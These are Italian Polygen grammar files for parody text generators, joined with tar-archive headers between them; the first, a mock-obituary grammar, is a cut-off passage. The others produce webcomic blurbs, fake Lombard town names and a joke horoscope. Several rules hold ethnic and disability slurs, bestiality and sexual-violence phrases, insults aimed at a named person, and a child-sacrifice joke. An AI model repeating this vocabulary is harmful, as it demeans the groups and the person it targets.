rinvenuto) | ^"," dove era atteso da Parente [e da Parente] ] | Tempo.nel {il suo corpo ( inerme | (privo di | senza) vita | gia' ([parzialmente] decomposto | in [{avanzato} {stadio} di] decomposizione) | mummificato | inanimato )} {e' stato [tragicamente] (ritrovato | rinvenuto)} Posto [(ed e' stato [poi] sepolto | e si trova ora | e riposa ora) Sepolcro.in della sua [amata] Citta] ; Posto ::= ( nei mari | al largo | nei boschi | nei prati | nelle praterie | nei monti | nei colli | nei ghiacciai | tra le nevi | nelle steppe | nella tajga | nella tundra | nella foresta | nella jungla | nel deserto | nella savana | nelle paludi ) ((M:del | F:della | voc:dell'^) Stato [Card]).(M|F|voc) [nei pressi di Citta] ; Vita ::= ancora [ad] oggi [non trova pace e] ( non ha una residenza fissa [e (si divide tra Stato [^"," Stato] e Stato | {vaga} {[a bordo del suo Mezzo]} | trascorre il resto della propria vita ) [assieme a Parente [ed a Parente]] Posto] | vive Luogo [assieme a Parente [ed a Parente]] ) ; Mezzo ::= furgone | yacth | panfilo | camioncino | trattore | [moto^]carretto | panzer | carroarmato | deltaplano [a motore] | [wind^]surf | tandem ; Parente ::= ^i figli | ^lla ["ex-"^]moglie | ^l padre | ^lla madre | ^i [bis^]nonni | ^i suoceri | ^lla nuora | ^gli zii | ^lle cugine | ^i cugini | (fidati amici | fidate amiche) | (un [fidato | intimo] amico | una [fidata | intima] amica) | ^lla sorella | ^l fratello | "Helder" ; Eta ::= ((all'^ | alla tenera) eta' di | a) [soli] Num anni ; Citta ::= "Roma" | "Treviso" | "Venezia" | "Tripoli" | "Citta' del Messico" | "Santiago del Cile" | "Calcutta" | ["Nuova"] "Delhi" | "Teheran" | "Timbuctu" | "Katmandu" | "Montevideo" | "Pozzuoli" | "Carbonera" | "Porcellengo" | "Oriago" | "Varsavia" | "Berlino" | "Reikjavik" | "Helsinki" | "Sparta" | "Rodi" | "Mileto" | "Santorini" | "Pantelleria" | "Roncade" | "Abbiategrasso" | "Frascati" | "Cinisello Balsamo" | "Ostia" ["lido"] | "Velletri" | "Vulci" | "Urbino" | "Gubbio" | "Spello" | "Termini Imerese" | "Melfi" | "Enna" | "Caltanissetta" | "Matera" | "Isernia" | "Teramo" | "San Gimignano" | "Trastevere" | "Colonnata" | "Roncobilaccio" | "Zacinto" ; Stato ::= >> voc: ( "Italia" | "Olanda" | "Uganda" | "Azerbaijan" | "Ecuador" | "Argentina" | "Etruria" | "Uruguay" ) | F: ( "Thailandia" | "Germania" | "Turchia" | "Slovenia" | "Micronesia" | "Polinesia" | "Citta' del Vaticano" | "Slovenia" | "Dalmazia" | "Moldavia" | "Macedonia" | "Kamcatka" ) | M: ( "Rwanda" | "Cile" | "Ciad" | "Sudan" | "Messico" | "Turkmenistan" | "Burundi" | "Tibet" | "Lichtenstein" | "Lussemburgo" | "Principato di Monaco" | "Paraguay" | "Kurdistan" ) << ; Num ::= (2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) [^ (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9)] ; Personaggio ::= "Saddam Houssein" | "Madre Teresa di Calcutta" | ["Osama"] "Bin Laden" | "Papa Wojtila" | "Suor Germana" | "Padre Pio" | "Ciccio e Franco" | "Paolo Limiti" | "Gigi Marzullo" | "Maria de Filippi" | "Fabrizio Frizzi" | "Corrado Augias" | "Mike Bongiorno" | ["Silvio"] "Berlusconi" | "Giulio Tremonti" | "Helder" | "Pippo" ("Baudo" | "Franco") ; Evento ::= la [improvvisa | devastante | inattesa] >( caduta del >( muro di "Berlino" | ^l'impero ("Romano" d'^("Oriente" | "Occidente") | ittita | mongolo | "Celeste" cinese | persiano) | ^la dinastia ( "Ming" | "Huan" | carolingia | "Stuart" | "Tudor" | "Windsor" | di "Borbone" | "Berlusconi" | "Agnelli" ) | ^la torre "Eiffel" | ^la muraglia cinese | ^l'arco di trionfo | ^la torre di "Pisa" | regime (austroungarico | borbone | castrista | normanno | saraceno) ) | perdita >( Car ::= a lui [paricolarmente] car^(M: o | F: a) ; Caro ::= Car.M. ; Cara ::= Car.F. ; della verginita' [mascellare | podale | anale] [Cara] | ParteCorpo.di | dei capelli | del suo Animale NomeAnimale [Caro] | della Coppa da parte del Squadra | dell'orientamento | dei peli (pubici | ascellari | pettorali | dorsali | incarniti) | dell'arto (superiore | inferiore | destro | sinistro) [Caro] | del suo fascino (carismatico | massonico | [un po'] ambiguo) | del suo {"savoir-faire"} {discreto} | del suo sapor "medio-orientale" | del suo studiato aplomb | del (pozzo petrolifero | ^l'impianto petrolchimico) Caro | del (^l'autobus | treno | tram) ["(causa ritardo)"] ) | rottura >( del salvadanaio | con la ["ex-"^] (moglie | ragazza) | delle tubature del (bagno | riscaldamento) | dei sedili dell'auto | della sua [amata] carriola ) ) | l'incidente ParteCorpo.a | (il tragico | l'acerrimo | il terribile | il celeberrimo) (scontro | duello) [finale] tra Personaggio [^"," Personaggio] e Personaggio | l'incontro con Personaggio | Malattia.art che lo ha afflitto Tempo.per ; Animale ::= gatto | criceto | cane | canarino | pesciolino | camaleonte | muflone | orbettino | pitone | furetto | ^la lontra | ^lo gnu | ^lo yak | ^lo yeti ; NomeAnimale ::= ("F" | "B" | "D") ^ (i | o | e) ^ (d | b | d | f | p) ^ (i | o) ; Coppa ::= coppa (dei campioni | del mondo | "Italia" | "Berlusconi" | "Europa" | "Sans Souci" | "Del Nonno") ; Squadra ::= "Milan" | ^la "Juve" | ^l'"Inter" | "Mestre" | "Caltanissetta" | ^l'Aurora | "Real Boiago" | ^"l'Ardita Pero" ; Materia ::= agraria | lettere (antiche | moderne | straniere) | web design | scienze (della comunicazione | dell'educazione | politiche | dell'ambiente e del territorio | forestali) | giurisprudenza | ingegneria (dei materiali | tessile | edile | dell'ambiente | dell'inquinamento) |++ Disciplina ; Diploma ::= tecnico (commerciale | industriale | turistico | odontoiatra | elettronico | informatico | ospedaliero) | maturita' (classica | scientifica | linguistica | "socio-psico-pedagogica" | artistica | magistrale) ; Azione ::= (A ::= (Attivita | AttivitaInf) [e (Attivita | AttivitaInf)] ; (dedicar | votar | rivolger)^ (e ([tutta] la propria | l'intera) (vita | esistenza) | si) (all'arte A.di | A.a) | entrare nel mondo Attivita.di [e Attivita.di] | coltivare la [propria] passione per (l'arte A.di | il mondo Attivita.di [e Attivita.di]) | (stabilirsi | emigrare | fuggire | andare a vivere) {a Citta} {[fino Tempo.al | Tempo.per]} | (compiere | commettere | intraprendere) FolleGesto ) ; FolleGesto ::= (il folle | l'insano | l'^ >(inspiega | ingiustifica | esecra | igno)^bile) (gesto | atto | cimento) AttivitaInf.di ; Disciplina ::= ( porno | idro | piro | copro | logo | filo | fago | geo | aer[^e]^o | astro | tele | omo | etero | psico | socio | pedo | onni | poli | agro | steno | eno | oli | olo | fobo | emo | gastro | morfo | radio | megalo | stereo | mono | foto | audio | video | teo | traumato | fenomeno | mito | tossico | topo | merceo | reddito ) ^ ( logia | gogia | piria | filia | mania | fagia | sofia | grafia | fobia | scopia | nomia | crazia | topia ) ; Attivita ::= (a: alla | di: della) >( coltivazione di Ortaggi [e Ortaggi] | cucina [Nazionalita] ( macrobiotica | (ipo | iper)^(colesterolica | glicemica | lipidica | calorica) ) | collezione di Oggetti | musica ( jazz | hardcore | [(prog | death | black | street | heavy | gothic) ^ "-" ^] (rock | metal | pop | rap) | classica | barocca | medievale | rinascimentale | provenzale | folk [Nazionalita] | popolare [Nazionalita] ) | pesca [di frodo] di Pesci [e Pesci] | caccia [grossa | di frodo] di Animali [e Animali] | bracconeria | sodomia [di Animali] |+ Disciplina | clonazione di (X ::= Animali | Pesci; X [e X]) ) | (a: al | di: del) >( giardinaggio | [taglio e] cucito | safari | pilotaggio di Veicoli | "Web" | tantra | sesso [piu' sfrenato] | (- commercio | contrabbando | traffico [illegale]) di (Veicoli | Pesci | Animali | Ortaggi) ) | (a: all'^ | di: dell'^) >( occult^(o | ismo) | esoterismo | alpinismo | industria (tessile | manifatturiera | metallurgica | pornografica | cinematografica) | avventura | (addestramento | allevamento) di (X ::= Animali | Pesci; X [e X]) ) ; AttivitaInf ::= (a: a | di: di | inf: _) ( >(spacciare | collezionare | commerciare | trafficare | contrabbandare) (Veicoli | Oggetti) | (incendiare | saccheggiare | devastare) (Veicoli | Luoghi) | pescare Pesci | cacciare Animali | (X ::= Animali | Ortaggi | Pesci | Personaggi; >(far accoppiare |- incrociare) X e X) | (clonare | addestrare | allevare | cucinare) (Ortaggi | Animali | Pesci) | coltivare Ortaggi | (incendiare | saccheggiare | devastare | profanare | riparare | restaturare) (Veicoli | Luoghi) [Posto] | (violentare | sodomizzare | rapire | abusare [sessualemte] di) (Animali | Pesci | Personaggi) [di (nazionalita' | razza) Nazionalita] | forgiare Oggetti | (irrompere | progettare l'irruzione) in Luoghi | (mangiare | ingozzarsi di | nutrirsi di | cucinare) Cibo | trasformarsi in un razzo missile [con circuiti di mille valvole] | giocare una schedina con tutti 2 | radersi (le ascelle | i peli ParteCorpo.su) | ruttare a tavola [con dei Personaggi] | >(scrivere (libri | poesie ) in | imparare la) lingua Nazionalita | partecipare al festival canoro di \Citta ["("^ [perlatro] "vincendolo)"] | comprare un dipinto di arte {Nazionalita} {[moderna | contemporanea]} | pedalare in retromarcia | assumere cibalgina [via endovenosa] | iscriversi a un torneo di (freccette | trincetto) | [tra^]scrivere la biografia di [un personaggio (quale | come)] Personaggio ) ; Cibo ::= ( riso[^tto] | lenticchie | pizza | fichi | krauti | pandoro | panettone | mandorlato | cioccolata | uvetta | insalata [di Cibo] | rognoni | gelato | budella | trippa | sarde | uova | pasta | cozze | porri | cavolfiore ) [ in rosso | ai ferri | alla piastra | in salmi' | in umido | al sugo | al forno | in bagnomaria | in decotto | in camicia | al dente | al burro | sotto (sale | pepe | aceto | ^lio | vuoto) ] ; Luoghi ::= (X ::= F: (chiese | moschee | cripte | catacombe) | M: (cimiteri | loculi | villaggi | musei) ; A ::= in terra Nazionalita | di antiche civilta' | della gloriosa civilta' Nazionalita | fatiscenti | decadenti | >(sconsacrat | ortodoss | bizantin)^(M: i | F: e) ; (X [A]).(M|F)) ; Nazionalita ::= bulgara | irachena | rumena | cinese | paraguayana | uruguayana | turca | ostrogota | unna | svizzera | bergamasca | nipponica | aborigena | tibetana | ugandese | pakistana | siberiana | retina | etrusca | russa | lappone | (nuit | eschimese) | costaricana | portoricana | peruviana | maltese | sarda | lucana | calabra | sicula | cilena | micronesiana | polacca | negra | assira | babilonese | "assiro-babilonese" ; Razza ::= negri | [indo^]cinesi | gay | bianchi | bulgaro | corsi | nani | obesi | dementi | sordomuti | sordi | muti | ciecchi | mongoli | mongoloidi | down | gobbi | handicappati | paralitici | marocchini | curdi | comunisti ; Veicoli ::= (X ::= M: ( [auto^] bus | camper | trattori | velocipedi | (mono | tri) ^cicli | sesterzi | missili ("Scud" | "Cruise") ) | F: ( roulotte | automobili | macchine agricole | (bici | moto) [^ciclette] | daghe romane | museruole ) ; A ::= a pedali | da rottamare | >(usat | telecomandat)^(M: i | F: e) ; (X [A]).(M|F)) ; Personaggi ::= ( caprari | orafi | spazzacamini | arrotini | calzolai | autisti | presentatori | vigliacchi | attaccabrighe | ortolani | dittatori ) [Razza] ; Oggetti ::= (X ::= M: (soldatini | francobolli | panieri | cellulari) | F: (lattine | pizzette | calzascarpe | foto) ; A ::= (tele | radio)^comandat^(M: i | F: e) | industriali | automatic^(M: i | F: he) | usat^(M: i | F: e) | porno | in tungsteno ; ([porta^]X [A]).(M|F)) ; Pesci ::= (X ::= M: ( sgombri | gamberi | scampi | astici | mitili | molluschi | platelminti | protozoi | caparossoli ) [Razza] | F: (mazzancolle | cozze | ostriche [perlifere]) | nan^(M: i | F: e) ; A ::= transgenic^(M: i | F: he) | d'acqua dolce ; (X [A]).(M|F)) ; Animali ::= (X ::= M: ( cinghiali | cerbiatti | lupi | orsi [bruni | polari] | licantropi | vampiri | gatti ) [Razza] | F: (gnocche | mucche | farfalle | arpie | capre | pecore | muffette | volpi) ; A ::= clonat^(M: i | F: e) | ruspanti | da cortile | nan^(M: i | F: e) | da (passeggio | guardia | compagnia) ; (X [A]).(M|F)) ; Ortaggi ::= (X ::= M: ( S: (oppio | mango | sedano) | P: (legumi | piselli | tuberi | oppiacei) ) | F: ( S: (marijuana | coca[^ina] | papaya) | P: (pannocchie | ortensie | patate | piante carnivore) ) ; A ::= transgenic^(M: (S: o | P: i) | F: (S: a | P: he)) ; (X [A]).(M|F).(S|P)) ; Malattia ::= (Una ::= (da: da | art: _ | a: ad) una (rara forma di | improvvisa | (terribile | grave | gravissima) [forma di]) ; (art: il | da: dal | a: al | Una) >( morbillo | vaiolo | verme solitario | tartaro | meteorismo | raffreddore | colpo di (frusta | freddo | sole) | catarro [verde] | muco | morbo della mucca pazza | prolasso ParteCorpo.di | singhiozzo [spastico] ) [acuto | fulminante] | (art: la | da: dalla | a: alla | Una) >( varicella | lebbra | peste | tenia | calvizie | forfora | diarrea | dissenteria | placca [batterica] | aereofagia | blenorragia | stempiatura [precoce] | gengivite | congiuntivite | poliomelite | micosi | carie | (ferita | abrasione) ParteCorpo.a | noia ) [acuta | fulminante] | (art: gli | da: dagli | a: alla | Una) >(orecchioni | spasmi ParteCorpo.a) [acuti | fulminanti] | (art: le | da: dalle | a: alle | Una) >( emorroidi | ragadi (anali | ParteCorpo.a) | verruche | vesciche [ParteCorpo.a] | stigmate [ParteCorpo.su] ) [acute | fulminanti] | (art: i | da: dai | a: ai | Una) >(polipi anali | condilomi | brufoli | foruncoli) [acuti | fulminanti] | (art: l^ | da: dall'^ | a: all'^ | Una) (* femminili *) >( indigestione | escoriazione ParteCorpo.a | ematoma ParteCorpo.su | emicrania | artrosi | artrite ) [acuta | fulminante] | (art: l^ | da: dall'^ | a: all'^ | Una) (* maschili *) >(herpes | acne | ascesso) [acuto | fulminante] ) ; ParteCorpo ::= (a: alla | su: sulla | di: della) >( schiena | dentiera | mandibola | mascella | vescica | >(natica | spalla | coscia | caviglia | meninge | tempia | guancia | rotula) [destra | sinistra] ) | (a: al | su: sul | di: del) >( petto | glande | prepuzio | seno | ( braccio | gomito | ginocchio | piede | alluce | mignolo | lobo | testicolo | [sopra^]ciglio | capezzolo | menisco ) [sinistro | destro] ) ; Santo ::= "San" >("Marco" | ^"t'Antonio" | "Matteo" | "Giuseppe") | "Santa" >("Caterina" | "Apollinare" | "Maria Teresa di Calcutta") ; Epigrafe ::= ( Come ::= >> in miseria | sordo | cieco | da gay | balbo | (povero | ricco | nobile) (nell'animo | nel cuore | nello spirito) | bello | brutto | negro | gobbo | virtuoso | all'insegna del (^l'^(omo |-- etero)^sessualita' | ^l'ambiguita' sessuale) | da re | attaccato al (^la (vita | gnocca) | denaro | sesso | potere) << ; [nacque Come ^","] (+++ visse Come ^"," | _) (mori' |-- crepo' | si spense) Come | (tanto Come quanto Come | cosi' Come come Come) ) ; Epiteto ::= ( X ::= down | coglione | gay | ricoglionito; "Helder" (^"," sei |- e') [veramente] [un] X [virgola X] ) | ( Sessualita ::= ((l'^ | la mia) >(+++ omo | etero) | la [mia] >(bi | tran))^sessualita' ; Cosa ::= >> il mio ( vessillo | stendardo | scudo | grifone | gonfalone | stemma | baluardo | destino | credo ) | (la mia [unica] | una) ( bandiera | ragione di vita | casa | [unica] fonte di reddito | missione | fobia | dottrina | questione (di vita o di morte | di stato) | disciplina ) | motivo di (<[approfonditi] studi | <[dettagliate] analisi | <[profondo] interesse) << ; (ho fatto | faro') del^Sessualita Cosa |- Sessualita sara' Cosa ) | ( Sessualmente ::= [+++ omo^ | etero^ | bi^ | tran^] sessualmente ; Sessuale ::= [+++ omo^ | etero^ | bi^ | tran^] sessuale ; Agg ::= spensierato | in declino | alla riscossa | trionfale | tenace | distrutto | [s^]contendo | divelto | spavent^(ato | oso) | spiovente | cangiante | indisposto | [s^]finito | stordito | stravolto | incustodito | gay | etero | alla moda | all'avanguardia | incontentabile | antropomorfo | asettico | insoddisfatto | disinvolto | [in^]soddisfabile | scoordinato | scombussolato | sregolato | indeciso | sconclusionato | discordante | in delirio | [dis^]ordinato | sconfitto | altisonante | ridicolo | retro' | retrattile | scorbutico | affranto | Sessuale | allo sbando | in rivolta ; (mi sento | [io] sono) (Sessualmente Agg | Agg dal punto di vista Sessuale) ) ; Lapide ::= ( sulla [lapide della] sua (cripta | tomba) [Sepolcro.in] Luogo (trionfa | si legge [ancora] | fa capolino) | la (sua lapide [Sepolcro.in] | lapide della sua (cripta | tomba)) Luogo recita ) ( (l'^ | la seguente) epigrafe ^": "^Epigrafe^"" | ( una delle sue {frasi} {[piu'] celebri} | uno dei suoi {epiteti |- detti} {[piu'] celebri} ) ^": "^Epiteto^"" ) ; Epilogo ::= ({(ancora oggi | a tutt'oggi)} {[ se ci e' concesso | >((a noi |+ ci) piace | possiamo) (dire | constatare | affermare) che | senza dubbio | certamente | al di la' di ogni altra considerazione ]}) ({[sovente | spesso | volentieri]} {lo ( ricordiamo | rimembriamo | commemoriamo | portiamo nei nostri cuori | esaltiamo | >(additiamo | innalziamo) [agli occhi del mondo [intero]] | citiamo | prendiamo )} {[con [somm^(M: o | F: a) | grande | immens^(M: o | F: a)] ( F: >( gioia | allegria | osservanza | ottemperanza | sicumera | devozione | simpatia ) | M: >(giubilo | rispetto | ostracismo) )].(M|F)}) (come | quale) ({[ agghiacciante | fulgido | eclatante | illuminante | sorprendente | raggiante | raro | eccezionale | chiaro | cangiante | altalenante | umile | sublime | sommo | brillante ]} {esempio |-- maestro |- modello} di ( >( castita' | carita' | (r|in)^ettitudine | cultura | serieta' | salvezza | eccentricita' | sincerita' | virtu^(' | te) ) [ieratica | cristiana | musulmana | ebraica | Nazionalita | parlamentare] | (devozione | attaccamento) [ al denaro | alla vita | ai genitori | alla causa dei Personaggi | al cibo | al lavoro | ai valori [veri] della vita | ai sentimenti umani] | (deficienza | demenza) [senile | senza possibilita' di (recupero | ricorvero)] | immunita' [Malattia.a] )) ;polygen-1.0.6.ds2/grm/ita/covo.grm0000644000175000017500000000300510340417034016213 0ustar enricoenricoI ::= "title: covo\n" ^ "author: Lapo Luchini <lapo@lapo.it>\n" ^ "language: italian\n" ^ "status: newborn\n" ^ "topic: webcomics\n" ^ "audience:" \(golo[^sino]|ceme[^ntino]) ^"\n" ^ "comment: chiedete a Google\n" ^ "created: 4/9/2005"; S ::= "

    "^ \(+covo|coro|cono|tono|tomo|pomo|dono|coso) (degli >(+sbronzi|stronzi)|di "Tom Ponzi"|dei bonzi) ^"

    " "

    "^ \ovvero (la [vera]|una) storia di ( (M:(+un fumetto [online]|un blog)| F:(una cavolata|amicizia|vita vissuta|birra bevuta)) (disegnat|inchiostrat|creat)^T da (\ceme[^ntino]|qualcuno|un [losco] figuro) e (assemblata|stravolta|colorata|arredata) da (\golo[^sino]|qualcun'altro|un \(alger|maghreb|tunis|marocch)^ino|un macaco) ).(M|F) ^"," dove (gli asini|+le birre|i macachi|gli "Stupidi Utenti Medi") (volano|parlano|+bevono|osservano|ruttano|scompaiono) e (le tavole|le vignette|i fumetti|i forum|gli alcoorner|le ricette) (vibrano|saltellano|stupiscono|sconvolgono) ^"." \(c'^E chi|qualcuno|qualche anonimo) >(dice|afferma|sostiene|pontifica|parla) di (un mondo (migliore|peggiore)|giovani (autori|fumettisti)) e di (patate|mouse|trackball|tavolette grafiche) che (traballano|disegnano|si divertono|soffrono) ^"," ma (tanto|comunque) (sar|stupir)^"à" come (morire|sbronzarsi|ubriacarsi|una nuova vita|mirare|amarrare|esondare) ^"." "

    "; T ::= M:o|F:a; E ::= "è"; polygen-1.0.6.ds2/grm/ita/comunilombardi.grm0000644000175000017500000000313410340417034020254 0ustar enricoenricoI ::= "title: Comuni lombardi\n" ^ "author: Chettimar <blogbroadway@gmail.com>\n" ^ "status: beta\n" ^ "topic: geografia\n" ^ "language: italian\n" ^ "created: 18/12/2004" ; S ::= Prefisso ^ (+++++++"ate" |+ "ago" |--- "one" |- "ano" |-- "usco" | --- "ono" | ----- "edo") [Suffisso]; Prefisso ::= \vertem | \canegr | \pantigli | \bremb | \capri | \bon | \galbi | \garl | \pesc | \olgin | \olgi | \rovagn | \robbi | \carn | \usm | \vel | \vimerc | \orn | \osn | \agr | \capon | \caven | \camb | \gess | \car | \albi | \giuss | \mari | \liss | \carug | \cern | \segr | \vign | \vimodr | \lambr | \lisc | \tribi | \melegn | \coltur | \tavazz | \landri | \air | \anz | \lur | \carim | \cermen | \lent | \alb | \grand | \guanz | \trad | \loc | \mozz | \lon | \ved | \cair | \fagn | \solb | \marn | \gallar | \besn | \samar | \magn | \busc | \arcon | \nos | \turb | \galli | \bern | \ros | \bes | \casor | \vern | \born | \lardir | \bruzz | \albuzz | \copi | \gerenz | \corn | \alz | \urgn | \ciser | \civid | \gard | \carciof | \asfalt | \fregnacci | \asport | \puzz | \bon | \barz | \bulci; Suffisso ::= \sopra | \sotto | con \minoprio | \masciago | \molgora | \olona | \brianza | \comense | sul \naviglio | \lombardone | \monzese | al \lambro | d'\adda | \milanese | \lodigiano | d'\erba | sul \seveso | \comasco | \caccivio | \gentile | \varesino | \ceppino | san \gervasio | \gera d'\adda | san \salvatore | san \bartolomeo | \mornasco | val \trompia | \monastero; polygen-1.0.6.ds2/grm/ita/oroscopo.grm0000644000175000017500000005521010340417034017115 0ustar enricoenrico I ::= "title: L'Oroscopo del Polygen\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 17/12/2002" ; S ::= "" \SegnoLatino ": " Mese "" "\n\n" \Oroscopo ; PM ::= ^"."\ ; SegnoLatino ::= ariete: aries | toro: taurus | gemelli: gemini | cancro: cancer | leone: leo | vergine: virgo | bilancia: libra | scorpione: scorpio | sagittario: sagittarius | capricorno: capricornus | acquario: aquarius | pesci: pisces ; Segno ::= ariete: (art: (M: gli | F: le) | NOart: _) ariet^(std: e | vezz: in^(M: i | F: e)) | toro: (art: (M: i | F: le) | NOart: _) tor^(std: o | vezz: ell^(M: i | F: e)) | gemelli: (art: (M: i | F: le) | NOart: _) gemell^(std: i | vezz: in^(M: i | F: e)) | cancro: (art: (M: i | F: le) | NOart: _) cancr^(std: o | vezz: (ett | ucc)^(M: i | F: e)) | leone: (art: (M: i | F: le) | NOart: _) leon^(std: e | vezz: cin^(M: i | F: e)) | vergine: (art: (M: i | F: le) | NOart: _) vergin^(std: e | vezz: ell^(M: i | F: e)) | bilancia: (art: (M: i | F: le) | NOart: _) bilanci^(std: a | vezz: n^(M: i | F: e)) | scorpione: (art: (M: gli | F: le) | NOart: _) scorpion^(std: e | vezz: cin^(M: i | F: e)) | sagittario: (art: (M: i | F: le) | NOart: _) sagittari^(std: o | vezz: ett^(M: i | F: e)) | capricorno: (art: (M: i | F: le) | NOart: _) capricorn^(std: o | vezz: in^(M: i | F: e)) | acquario: (art: (M: gli | F: le) | NOart: _) acquari^(std: o | vezz: ucc^(M: i | F: e)) | pesci: (art: (M: i | F: le) | NOart: _) pesc^(std: i | vezz: iolin^(M: i | F: e)) ; Mese ::= ariete: "21 Marzo - 20 Aprile" | toro: "21 Aprile - 20 Maggio" | gemelli: "21 Maggio - 21 Giugno" | cancro: "22 Giugno - 22 Luglio" | leone: "23 Luglio - 23 Agosto" | vergine: "24 Agosto - 21 Settembre" | bilancia: "22 Settembre - 23 Ottobre" | scorpione: "24 Ottobre - 22 Novembre" | sagittario: "23 Novembre - 21 Dicembre" | capricorno: "22 Dicembre - 20 Gennaio" | acquario: "21 Gennaio - 18 Febbraio" | pesci: "19 Febbraio - 20 Marzo" ; Oroscopo ::= [cari (Segno.std | Segno.vezz.M [e [care] Segno.vezz.F]).NOart ^","] ({[Decade^","]} {Sostegno^","} Difficolta [^"," Eulogia]) [^";" {(a tal[^e] (fine | proposito) | tuttavia | indi)^","} {[Decade^","]} [Sostegno^","] Consiglio] PM ({Lavoro}^";" {Salute}^";" {Affari} e^"," {Affetti} PM) {[[Decade^","] Compatibilita PM]} {[[per (accaparrarvi | guadagnarvi) il (sostegno | supporto | conforto) (delle stelle | degli astri)^","] ( (acquistate | procuratevi | regalatevi) Amuleto | (compite | organizzate | partecipate ad | datevi ad | concedetevi) Rito ( (in onore | come invocazione) Dio.del | in (sacrificio | grazia) Dio.al ) ) PM]} {[((di: (curatevi | proccupatevi | badate) di | dal: guardatevi dal) ( sacrificare un ((M: _ | F: ^a) (bambin | anzian | fanciull | impuber)^(M: o | F: a)).(M|F) [in un Rito] in onore Dio.al | ((dal: ^l'^ | di: _) >((e | in)^vocare | onorare) | pregare) Dio.art | ( (dal: ^l'^ | di: _) essere (devoti | [in^]fedeli) | rendere (onore | grazia) | rivolgere (i vostri pensieri | le vostre preghiere) ) Dio.al | ((dal: ^l'^ | di: _) >(acquistare | indossare) | procurarvi) Pietra )).(di|dal) per (assicurarvi | accaparrarvi | garantirvi) (il favore | l'ira | l'odio | la devozione | l'appoggio) Dio.del PM]} ; Rito ::= un [sano | bel | serio | sacro] rito ( orgiastico | esoterico | divinatorio | settario | sacrificale | massonico | enochiano | ["pre-"^]noaico | diabolico | infernale | zoroastriano | qabalistico | alchemico | tantrico | magico | stigmatico ) [ propiziatorio | di buon auspicio | di malaugurio | iniziatico | di sangue | simbolico | infedele ] ; Dio ::= >> <(al: a | del: di | art: _) ( "San" ( "Giovanni" | "Paolo" | "Gennaro" | ^"t'Antonio" | "Padre Pio" | ^ta "Madre Teresa" [di "Calcutta"] | "Tommaso" ["d'Aquino"] | "Zaccaria" | ^"nt'Agostino" | ^"nta Rosa da Lima" | "Pietro" ) [apostolo] | "Helder" | "Allah" ) | <(al: alla | del: della | art: la) ( "Madonna" del ("Carmine" | \[sacro]^cuore | "Gesu'") | dea ("Kali" | "Shiva" | "Iside" | "Visnu" | "Giunone" | "Hera") ) | <(al: al | del: del | art: il) ( profeta ("Isaia" | "Geremia" | "Ezechiele" | "Abramo" | "Elia") | maestro ("Baba Bedi" | "Sai Baba" | "Buddha" | "Jukey" | "Ryuken") | "Dalai Lama" |+ mago ( "Alexander" | "du Nacimiento" <[^"," maestro di vita] | "Othelma" | "Oronzo" | "Silvan" | "Oudini'" | "Gabriel" | "Zurli'" <["("^il mago del (lune | marte | mercole | giove | vener)^"di')"] | "Galbusera" <["(il mago della sera)"] | "Giucas Casella" ) | dio ( Astro.NOart | "Zeus" | "Osiride" | "Zoroastro" | "Ade" | "Apollo" | "Apelle" [figlio di "Apollo" [che^"," non dimenticate^"," fece un palla di pelle di pollo]] | "Oberon" | "Balo" | "Mabelrode" ) | demone ( "Aamon" | "Astaroth" | "Astarte" | "Shemazai" | "Samael" | "Aiwass" | "Belzebub" | "Arioch" | "Baal" ) ) | <(al: all'^ | del: dell'^ | art: l'^) ( [arc^]angelo ("Michele" | "Gabriele" | "Uriel" | "Raffaele") | apostolo ( "Paolo" | "Simon" (^e | "Pietro") | "Pietro" | "Giuda" | "Giovanni" | "Giacomo" ) ) << ; Compatibilita ::= (notevole | forte | scarsa | debole | infima) ([in^]compatibilita' | affinita') [zodiacale | ormonale | spirituale | dentale] [ in amore | nel lavoro | nella vita | nelle questioni di cuore | negli affari | nelle amicizie | nelle inimicizie ] con Nati ; Amuleto ::= Pietra ( che ( vi accompagnera' [fino alla morte |- per tutta la vita] | vi portera' [tanta] [s^]fortuna | vi donera' [molto | soprattutto | in particolare] [DoveIndossare] ) | per (scacciare | allontanare) (gli spiriti | il malocchio | i demoni) | ( da (indossare | mettere | mettere in mostra | sfoggiare) [DoveIndossare] | con cui uscire ) {[InCompagnia]} { nelle (occasioni | serate | notti) [piu' | meno] ( di gala | uggiose | limacciose | [s^]gradevoli | umide | avventurose | speciali | di classe ) | DoveAndare } ) ; DoveAndare ::= >> al ( ( "pic-nic" | ballo | pranzo | ritrovo | ^la (festa | rimpatriata | cena | sagra) ) < >> della (scuola | parocchia | chiesa | "pro-loco") | del (paese | villaggio) | dell'^ (oratorio | azienda) | di (classe | mezza (estate | primavera)) << | parco | [super^]mercato | duomo | pattinodromo ) | in ( palestra | piscina | cucina | soggiorno | camera [da letto] | sauna | pizzeria | ristorante | piazza | parcheggio ) << ; InCompagnia ::= ((di: in compagnia | con: con | a: assieme) >> <(di: di | a: agli | con: gli) (amici | "Helder") | <(di: del | a: al | con: il) ( [vostro] ( capo | maggiordono | domestico | fidanzato | direttore | DiFiducia.(M|F) ) | marito | moroso | partner ) | <(di: dell'^ | a: all'^ | con: l'^) (amante | (antagonista | avversario) (nel lavoro | in affari | in amore)) | <(di: dei | a: ai | con: i) (genitori | figli) | <(di: della | a: alla | con: la) ( [vostra] ( findanzata | domestica | colf | badante | governante | DiFiducia.(M|F) ) | famiglia | moglie | figlia ) <<).(di|con|a) ; DiFiducia ::= ( cassier^(M: e | F: a) | >(fattorin | lattai | pescivendol | spazzacamin)^(M: o | F: a) | negoziante | rivenditore | commerciante | mercante | medico | farmacista ) di fiducia ; DoveIndossare ::= al collo [del piede] | in testa | al polso | sulle ginocchia | alle dita [dei piedi] | tra i capelli | in bocca | tra i denti | sulle unghie [dei piedi] | all'inguine | sulla schiena ; Pietra ::= un >( rubino | lapislazzulo | topazio | ^'^>(acquamarina | ametista) | diamante | amuleto di ( giada | terracotta | porcellana | cemento [armato] | cristallo | vetro ) | brillante | sasso [di colore (rosso | ciano | magenta | argento | oro)] ) | una >(pietra [focaia | preziosa]) | uno smeraldo ; Decade ::= {[solamente | unicamente | soltanto]} {per} Nati ; Nati ::= ([M: tutti | F: tutte] (Segno.art.(vezz|-std) | (M: i | F: le)) [M: "Lui" | F: "Lei"] nat^(M: i | F: e) ( nella NumDecade [(e |o) [nella] NumDecade] decade | nel [^l (^a primavera | ^'^ >(estate | inverno | 